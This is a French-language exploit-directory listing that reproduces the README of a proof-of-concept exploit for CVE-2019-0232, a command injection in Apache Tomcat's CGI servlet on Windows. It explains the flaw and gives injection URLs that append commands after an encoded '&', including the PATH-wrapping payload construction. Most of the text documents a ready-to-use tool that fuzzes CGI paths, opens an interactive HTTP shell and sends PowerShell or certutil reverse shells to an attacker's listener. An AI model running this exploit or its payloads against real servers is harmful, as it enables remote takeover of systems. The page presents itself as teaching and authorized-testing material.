Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-0232 — Apache Tomcat : exécution de code à distance (RCE) sur le servlet CGI (Windows) | Kitploit
Outils/GitHubGitHub/blackjuker2/cve-2019-0232
Scanners de VulnérabilitésGénération de PayloadsExploitationShellcodeExploitation d'Applications WebFuzzingTests d'IntrusionApprentissage et ÉducationOutil d'Accès à Distance
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat : exécution de code à distance (RCE) sur le servlet CGI (Windows)

1il y a 2 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-0232 — RCE du servlet CGI Apache Tomcat

PoC pédagogique réservé aux CTF / tests d'intrusion autorisés uniquement.
L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est illégal.


Aperçu de la vulnérabilité

CVE-2019-0232 est une vulnérabilité d'exécution de code à distance (RCE) dans Apache Tomcat sous Windows.
Lorsque enableCmdLineArguments=true est défini sur le servlet CGI (la valeur par défaut sous Windows avant le correctif), Tomcat transmet la chaîne de requête HTTP directement comme arguments de ligne de commande au fichier batch CGI via Runtime.exec(). Sous Windows, Runtime.exec() encapsule l'appel avec cmd.exe /c, ce qui rend le séparateur de commandes & actif dans ces arguments.

Un attaquant peut injecter une seconde commande système en incluant & (encodé en URL sous la forme ) dans l'URL :

%26
root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits

Versions concernées (Windows uniquement)

BranchePlage vulnérableCorrigé dans
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

Exigence : enableCmdLineArguments=true dans conf/web.xml (valeur par défaut sous Windows avant le correctif).


Fonctionnalités

  • Mode automatique — chaîne complète : énumération → fuzzing des chemins CGI → shell interactif
  • Détection de version — identifie la version de Tomcat à partir des en-têtes HTTP et des pages d'erreur
  • Fuzzer de chemins CGI — multithread, wordlist intégrée + wordlist personnalisée optionnelle (-w)
  • Commande unique — exécute une commande et affiche la sortie (--cmd)
  • Shell HTTP interactif — boucle REPL sur HTTP, chaque commande étant une nouvelle requête
  • Reverse shell — écouteur TCP intégré
    • Charge utile PowerShell encodée en Base64 (par défaut)
    • Stager certutil (solution de repli)
  • Injection PATH — définit automatiquement System32, Windows, Wbem, PowerShell pour que whoami, ipconfig, netstat, powershell.exe fonctionnent sans chemins complets
  • Fusion de stderr — 2>&1 ajouté automatiquement pour que la sortie d'erreur soit visible
  • Support du proxy Burp — achemine le trafic via --proxy http://127.0.0.1:8080

Installation

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

Python 3.8+ requis.


Utilisation

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

Modes

OptionDescription
--autoÉnumération → fuzzing → passage en shell interactif
--enumÉnumère uniquement la version de Tomcat et les chemins CGI
--fuzzFuzzing des points de terminaison .bat/.cmd accessibles
--cmd COMMANDExécute une commande unique
--interactiveBoucle de shell HTTP interactive
--reverse-shellDéclenche un reverse shell (nécessite --lhost)

Exemples

Mode automatique — laissez le script tout trouver :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

Commande unique sur un point de terminaison connu :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

Boucle de shell interactive :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

Chaîne automatique complète → reverse shell (pas besoin de nc séparé) :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

Le script ouvre son propre écouteur TCP sur --lport, envoie la charge utile PowerShell et vous place dans un shell interactif lorsque la cible se connecte en retour.

Reverse shell PowerShell sur un chemin connu :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

Stager certutil (si PowerShell est bloqué) :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

Wordlist personnalisée pour le fuzzing :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

Les entrées sans extension de fichier sont automatiquement testées à la fois en .bat et en .cmd.

Acheminement via Burp Suite :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

Afficher l'URL d'injection brute avant chaque requête :

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

Toutes les options

root@kitploit:~
positional / required:
  -t, --target URL        Target base URL  e.g. http://10.10.10.x:8080

path:
  -p, --path PATH         Known CGI script path  e.g. /cgi/cmd.bat

modes:
  --auto                  Full chain: enum → fuzz → interactive
  --enum                  Enumerate Tomcat version and CGI paths
  --fuzz                  Fuzz for accessible CGI script endpoints
  --cmd COMMAND           Run a single command and print output
  --interactive           Interactive command loop (HTTP shell)
  --reverse-shell         Send PowerShell reverse shell

reverse shell:
  --lhost IP              Your listener IP (use tun0 for HTB/OSCP)
  --lport PORT            Your listener port (default: 4444)
  --shell-method {ps,certutil}
                          Payload type: ps (default) or certutil stager

options:
  -w, --wordlist FILE     Extra CGI names to fuzz (one per line)
  --threads N             Fuzz threads (default: 15)
  --timeout N             HTTP timeout in seconds (default: 10)
  --proxy URL             HTTP proxy  e.g. http://127.0.0.1:8080
  --no-ssl-verify         Disable TLS certificate verification
  --show-url              Print the full injection URL before each request

Comment fonctionne l'injection

Le script construit l'URL d'injection en trois étapes :

  1. Injection PATH — encapsule votre commande dans un groupe qui définit PATH en premier :

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    Le echo. produit une ligne vide, ce qui satisfait l'analyseur d'en-têtes CGI de Tomcat afin que le corps de la réponse soit visible.

  2. Encodage URL — les espaces deviennent +, les caractères spéciaux deviennent %XX via urllib.parse.quote.

  3. Point d'injection — le groupe encodé est placé après %26 (le séparateur &) :

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

Testé sur

  • Apache Tomcat 9.0.17 sur Windows Server 2019
  • Python 3.11 / 3.12 sur Kali Linux

Références

  • NVD — CVE-2019-0232
  • Avis de sécurité Apache
  • Exploit-DB #47073

Avertissement légal

Cet outil est fourni uniquement à des fins pédagogiques et pour des tests de sécurité autorisés.
L'auteur n'est pas responsable de tout usage abusif ou dommage causé par cet outil.
Obtenez toujours une autorisation écrite explicite avant de tester un système.

Télécharger l’outil